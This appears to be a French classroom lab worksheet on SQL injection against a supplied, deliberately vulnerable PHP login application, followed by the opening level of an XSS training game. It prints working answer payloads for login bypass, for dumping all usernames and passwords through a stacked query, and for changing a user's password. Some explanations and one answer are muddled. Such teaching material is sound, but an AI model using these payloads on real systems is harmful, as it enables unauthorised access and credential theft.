

# TP : attaques par injections SQL

## 1 Objectifs

Mise en évidence des attaques les plus courantes de type injection SQL.

## 2 Moyens nécessaires

- le navigateur Firefox ;
- un serveur HTTP Apache avec le support du langage PHP ;
- le SGBD Mysql et les bibliothèques PHP d'accès.

### 2.1 Contexte de l'essai

Vous utiliserez le contenu du répertoire *site* fourni (archive *site.zip*) à mettre dans vos pages Web.

Il s'agit de la partie authentification d'une application Web très simplifiée, composée des fichiers suivants :

- Une page d'accueil *index.php* contenant un formulaire d'authentification si l'on n'a pas ouvert de session, ou un lien permettant de se déconnecter dans le cas contraire ;
- Un fichier *traite\_login.php* qui vérifie l'authentification ;
- Un fichier *form\_pass.php* qui sert à changer le mot de passe de l'utilisateur connecté ;
- Un fichier *traite\_form\_pass.php* qui opère l'écriture du mot de passe dans le SGBD ;
- Un fichier *informations.php* qui liste les dernières informations pour les utilisateurs et contient un formulaire permettant d'en ajouter ;
- Un fichier *info.php* qui reçoit un paramètre dans l'URL et affiche l'information correspondante ;
- Un fichier *traite\_form\_info.php* qui sert à insérer la nouvelle information saisie par l'utilisateur ;
- Un fichier *deconnexion.php*, qui sert à détruire la session en cours.

### 2.2 Installation

**T1** : Créez une base de données nommée `ex_inject_sql` avec `slam/slam` comme utilisateur/passe

**T2** : Modifiez le cas échéant les identifiants de connexion dans le fichier `config/db.cfg`

**T3** : Créez les tables à l'aide du fichier `ex_inject_sql.sql` fourni.

Vous pouvez alors vérifier le bon fonctionnement de l'application. Deux comptes utilisateur vous sont fournis, ayant pour identifiants :

<b>login : einstein</b> <b>mot de passe : alb</b>	<b>login : admin</b> <b>mot de passe : mdp</b>
------------------------------------------------------	---------------------------------------------------

### 3 Techniques d'injection SQL

Les buts d'une injection de code SQL sont variés. On peut noter :

- Passer une étape d'authentification ;
- Insérer des données ;
- Récupérer des données.

Les techniques souvent employées sont :

- Le pirate provoque un test toujours vérifié ;
- Le pirate s'arrange pour passer une deuxième requête SQL.

Pour cela il peut utiliser :

- Un opérateur logique AND ou OR ;
- L'opérateur UNION ;
- Le séparateur d'instructions SQL ";" ;
- La suppression d'une partie de la requête, par utilisation d'une terminaison de ligne de code PHP (par exemple) ou SQL ;
- La suppression d'une partie de la requête, par insertion d'un symbole de commentaire de code PHP (par exemple) ou SQL ;

### 4 Injections SQL dans un formulaire

L'injection SQL consiste encore à utiliser un formulaire, mais cette fois-ci on va injecter du code SQL qui mettra en péril la base de données.

Par cette technique, on peut outrepasser l'authentification d'une application, récupérer des données, ou nuire en supprimant ou altérant des données.

#### 4.1 Piratage de l'authentification

Vous allez injecter du code SQL non prévu de façon à détourner l'authentification.

La requête d'interrogation du SGBD pour l'authentification est du style :

```
SELECT * FROM table_des_utilisateurs WHERE login='le_login_a_tester' AND
passwd='le_mot_de_passe_a_tester' ;
```

Il suffit de modifier la requête en ajoutant des éléments qui neutralisent le test sur le login et le test sur le mot de passe.

*Question 1)* Vous connaissez le nom de login (*einstein*) mais pas le mot de passe. Trouvez une injection de code qui permet de se passer de mot de passe.

Réponse à tester → on veut obtenir :

```
select login_user,pass_user from users where login_user='einstein'
# ' and pass_user=''
```

Ici, on injecte le nom d'un compte existant suivi du symbole de commentaire SQL # et rien dans le mot de passe.

Variante → on veut obtenir :

```
select login_user,pass_user from users where login_user='einstein' ; /*' and pass_user=''
```

Ici, on injecte le nom d'un compte existant suivi du symbole de terminaison d'instruction php ; et de l'ouverture de commentaire PHP /\*

*Question 2)* Vous ne connaissez ni le login, ni le mot de passe. Trouvez une injection de code qui permet d'outrepasser l'authentification.

Réponse à tester → on veut obtenir :

```
select login_user,pass_user from users where login_user='rien' or 'a'='a'; /*' and pass_user=''
```

Ici, on injecte un ou avec une comparaison toujours exacte dans le champ de login, suivi par un commentaire qui neutralise le champ suivant.

Il est plus intéressant au final d'injecter :

```
select login_user,pass_user from users where login_user='admin' and pass_user='nimporte' or 'a'='a'
```

Car on a bien logé dans la variable login un nom valide, supposé classiquement l'administrateur...

## 4.2 Récupération de la liste des login

*Question 3)* Injectez le code nécessaire qui vous permet d'obtenir la liste des logins dans l'affichage des informations.

A injecter dans le mot de passe du login avec einstein comme login :

```
aa' OR 1=1; set @a:=""; insert into infos (id_user,texte_info) values (1,(select @a:=concat(@a,login_user,',',pass_user,',')) as res FROM users order by res desc limit 1));
```

## 4.3 Altération de données

L'injection SQL permet également d'altérer les données, voire de les supprimer.

*Question 4)* Vous allez vous connecter avec le compte *einstein* et changer le mot de passe du compte de façon à vous lui interdire l'accès, à partir du formulaire de login.

Réponse à tester → on veut obtenir :

A injecter dans le mot de passe du login avec einstein comme login :

```
select login_user,pass_user from users where login_user='admin' and pass_user='nimporte' or 'a'='a' ; UPDATE users set pass_user='alb' WHERE login_user='einstein'
```

Bien sûr on peut aussi utiliser le formulaire du changement de mot de passe mais au cas ou le site ne le propose pas...

## Pour plus d'informations :

<https://zestedesavoir.com/tutoriels/pdf/945/les-injections-sql-le-tutoriel.pdf>

Faites le jeu ! (et sans tricher...)

<https://xss-game.appspot.com/level1>

### [1/6] Level 1: Hello, world of XSS

#### Mission Description

This level demonstrates a common cause of cross-site scripting where user input is directly included in the page without proper escaping.


Interact with the vulnerable application window below and find a way to make it execute JavaScript of your choosing. You can take actions inside the vulnerable window or directly edit its URL bar.

#### Mission Objective

Inject a script to pop up a JavaScript `alert()` in the frame below.

Once you show the alert you will be able to advance to the next level.

#### Your Target



The screenshot shows a browser window titled 'I am vulnerable' with the URL `https://xss-game.appspot.com/level1/frame`. The page content displays the text 'FourOrFour' in a stylized font. Below the text is a search bar with the placeholder 'Enter query here...' and a 'Search' button.

#### Target code (toggle)

Hints 0/3 (show)